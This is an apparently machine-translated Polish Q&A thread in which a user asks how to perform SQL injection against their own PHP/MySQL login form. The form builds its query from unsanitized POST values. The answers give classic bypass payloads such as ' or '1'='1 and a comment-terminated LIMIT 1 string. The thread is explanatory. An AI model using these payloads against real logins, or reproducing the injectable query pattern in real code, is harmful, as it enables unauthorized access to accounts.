2013-04-02 3 views
9

Chcę użyć wtrysku PHP/Mysql z przykład logowania, mój kod jest poniżej.Przykład wtrysku PHP MySQL?

Próbowałem z nazwy użytkownika anything' -- i pustym hasłem, ale to nie działa i nie mogę się zalogować.

Czy ktoś może mi pomóc?

<?php 
mysql_connect('localhost','root','root'); 
mysql_select_db('hp'); 
?> 

<form action="" method="post"> 
<table width="50%"> 
    <tr> 
     <td>User</td> 
     <td><input type="text" name="user"></td> 
    </tr> 
    <tr> 
     <td></td> 
     <td><input type="text" name="password"></td> 
    </tr> 
</table> 
    <input type="submit" value="OK" name="s"> 
</form> 

<?php 
if($_POST['s']){ 
    $user = $_POST['user']; 
    $pass = $_POST['password'];  
    $re = mysql_query("select * from zend_adminlist where user_name = '$user' and password = '$pass'"); 

    if(mysql_num_rows($re) == 0){  
     echo '0'; 
    }else{ 
     echo '1'; 
    } 
} 
?> 
+8

nie powielać. On chce wstrzyknąć, a nie zapobiegać. – itachi

+0

@itachi tak czy inaczej to jest zbyt zlokalizowane. –

+3

@itachi jeśli czytasz artykuł, pytanie pokazuje wtrysk sql, a odpowiedzi są zapobiegawcze. –

Odpowiedz

19

Jednym z najpowszechniejszych przykładów jest to zapytanie:

' or '1'='1 

Jeśli wpiszesz to jako nazwę użytkownika i hasło w pewnym unsanitized wejścia logowania zmiany zapytań tak:

Original: SELECT * FROM USERS WHERE USER='' AND PASS=''; 
Modified: SELECT * FROM USERS WHERE USER='' or '1'='1' AND PASS='' or '1'='1'; 

Powoduje to, że każda z rzeczy, które szuka, jest prawdziwa, ponieważ 1 zawsze będzie równe 1. Problem z tą metodą polega na tym, że nie pozwala ona na wybór konkretnego użytkownika. Powoduje to, że musisz zignorować instrukcję ORAZ, komentując ją tak, jak w innych przykładach.

8

Jeżeli wartość nazwy użytkownika jest:

$_POST['user'] = "1' OR 1 LIMIT 1; --"; 

Wtedy zapytania mysql staje:

select * 
from zend_adminlist 
where user_name = '1' OR 1 LIMIT 1; --' and password = '$pass' 
+0

Czy mysql nie zezwala na 1 linię na zapytanie? – lemondrop

+0

1 wiersz, to prawda, ale jedna linia oznacza jeden ogranicznik zapytania: ';' '-'- oznacza, że ​​kod po komentarzu jest wykreślany. Tak więc górna kwerenda to jedno zapytanie. Właśnie złamałem linie, aby można było je korygować. – Kovge

+0

Ah Nie wiedziałem o tym. – lemondrop